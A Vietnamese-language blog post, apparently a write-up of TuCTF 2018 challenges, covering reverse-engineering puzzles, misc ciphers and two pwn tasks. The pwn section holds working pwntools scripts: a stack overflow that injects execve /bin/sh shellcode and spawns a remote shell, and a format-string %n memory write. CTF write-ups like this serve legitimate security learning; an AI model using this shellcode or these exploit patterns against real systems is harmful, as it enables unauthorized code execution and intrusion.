Sunday, November 25, 2018

[Writeup] TuCTF 2018

Reverse

Danger Zone:
Đề bài cho ta một file pyc và khi thực thi ta được một đoạn string: =YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ. Trông có vẻ giống chuỗi base64 bị đảo ngược, nhưng khi decode thì mình lại kí tự không đọc được nên mình thử reverse lại source code xem sao. Dùng Easy Python Decompiler mình có được source code của chương trình.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Embedded file name: ./dangerzone.py
import base64

def reverse(s):
    return s[::-1]


def b32decode(s):
    return base64.b32decode(s)


def reversePigLatin(s):
    return s[-1] + s[:-1]


def rot13(s):
    return s.decode('rot13')


def main():
    print 'Something Something Danger Zone'
    return '=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ'


if __name__ == '__main__':
    s = main()
    print s

Đọc source thì chúng ta đã có hết các hàm decode, nếu vậy thì chúng ta chỉ cần chỉnh sửa lại hàm main một tí thì sẽ có flag.


1
2
3
4
5
6
if __name__ == '__main__':
    s = main()
    s=reverse(s)
    s=b32decode(s)
    s=reversePigLatin(s)
    print s
Flag: TUCTF{r3d_l1n3_0v3rl04d}

yeahright:

Mở file binary bằng IDA ta có thể dễ dàng nhìn thấy chương trình sẽ so sánh chuỗi ta nhập vào với biến pass, nếu đúng sẽ in ra flag còn nếu sai sẽ in ra yeahright.

Tìm biến pass trong IDA mình nhanh chóng tìm được giá trị của nó:


Pass là: 7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w
Ok giờ chỉ việc gửi lên server và lấy flag thôi.
Flag: TUCTF{n07_my_fl46_n07_my_pr0bl3m}

shoop:

Lại là yêu cầu nhập password, mình tiếp tục mở file binary bằng IDA, tuy nhiên bài này khó hơn bài yeahright vì password đã bị biến đổi:


Vòng for đầu tiên có nhiệm vụ đưa chuỗi ta nhập vào một mảng. Vòng for thứ hai biến đổi chuổi ta nhập vào bằng cách dời lui kí tự  đi 5 đơn vị (xét theo bảng ascii) ví dụ: 'A' -> '<', 'B' -> '=',...
Vòng for thứ ba đảo vị trí các kí tự trong chuổi s sau khi đã thực hiện bước 2.



Mình viết lại một đoạn code nhỏ và có được mật khẩu

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#usr/bin/python
s = 'jmt_j]tm`q`t_j]mpjtf^'
a = ''
b = [None]*21

for i in s:
 a +=chr(ord(i)+5)
for i in range(21):
 b[i] = a[(i-10)%21]

print ''.join(b[::-1])

Pass: everybodyrockyourbody
Flag: TUCTF{5w337_dr34m5_4r3_m4d3_0f_7h353}

Misc

APL:

Search google, mình biết được APL là một ngôn ngữ máy giống với assembly nên đã kiếm cách chạy online cho tiện, thì mình kiếm được trang https://tryapl.org/ Trong APL dấu <- thực hiện phép gán, vì vậy mình bỏ đi việc gán giá trị mx cho a và thử chạy dòng code đầu tiên mà không gán cho biến a thì thu được ma trận số 64 - 126 là các số đọc được trong hệ 10. Decode những số trong mảng mx mình có được flag.
Flag: TUCTF{wRiTe_OnLy_Is_HaRd_To_ReAd}

Ancient:

Bài này sau khi search google thì đó là Dinotopia alphabet. Sau khi ngồi so từng chữ trong bảng với cipher mính có được flag.


PWN

Shella-easy:
Nhìn vào source code ta có thể thấy chương trình in ra địa chỉ của biến mà ta nhập vào và có biến check nếu check=0xDEADBEEF thì ta sẽ control được EIP và trỏ về địa chỉ của biến s và thực thi shellcode. Biến s sử dụng hàm gets nên ta có thể overflow biến check đơn giản.


Source code:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

#p = process("./shella-easy")
p = remote("52.15.182.55",12345)
check = p32(0xdeadbeef)
#raw_input("attach %d" %p.pid)
p.recvuntil("Yeah I'll have a ")

mem=p.recv(10)
mem= p32(int(mem,16))

p.recvuntil("thanks")
payload = shellcode
payload +="A"*(64-len(shellcode))
payload += check
payload += 'BBBBBBBB'
payload += mem
p.sendline(payload)
p.interactive()

ehh:

Bài này chúng ta cần phải ghi lại địa chỉ biến val đã cho với giá trị là 0x18. Dựa vào hàm print và %n ta có được sourcode exploit:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *

p = process("./ehh")
raw_input("attach %d" %p.pid)

#p = remote("18.222.213.102",12345)

p.recvuntil("here< ")
val_addr = p.recv(10)
val_addr = p32(int(val_addr,16))

payload  = ""
payload += val_addr
payload += "BBBBBBBB"
payload += "%6$12x"
payload += "%6$n"
p.sendline(payload)
print p.recv(1024)



Related Posts:

  • [Writeup] Mates SS3 Round 4 Programing Đề bài làm bắt chúng ta phải làm sao từ 2 bình nước x, y có thể tích vx, vy và phải đong nước làm sao cho được z lít. Đây là bài toàn đong nước kinh điển, may mắn là mình đã được học qua ở trường nên có thể làm đ… Read More
  • [Writeup] Otter CTF 2018 - Memory forensics 1 - What the password? Vừa đọc tên đề bài mình liền nghĩ đến một bài trước đây từng làm trên Root-me. Với yêu cầu này mình cần phải dump được 2 file SYSTEM và SAM. Tuy nhiên sau khi làm cách này mình không thể decrypt đươc đ… Read More
  • Tìm hiểu mã QR QR là viết tắt của quick response, là một loại mã vạch đặc biệt có thể mã hóa thông tin như số, chữ cái, và kí tự kanji được tạo bởi công ty Denso-Wave là một công ty con của tập đoàn Toyota. Hiện nay có rất nhiều loại QR … Read More
  • [Writeup] TuCTF 2018 Reverse Danger Zone: Đề bài cho ta một file pyc và khi thực thi ta được một đoạn string: =YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ. Trông có vẻ giống chuỗi base64 bị đảo ngược, nhưng khi decode thì mình lại kí tự không đọc đ… Read More
  • [Writeup] Sunshine CTF 2019 Forensics Golly It's a code of Golly rle file, when I run a code given I just have a alphabet table: Run it and nothing else, I read a rle file document at here. And I know a "$" represents the end of each row and a… Read More

0 comments:

Post a Comment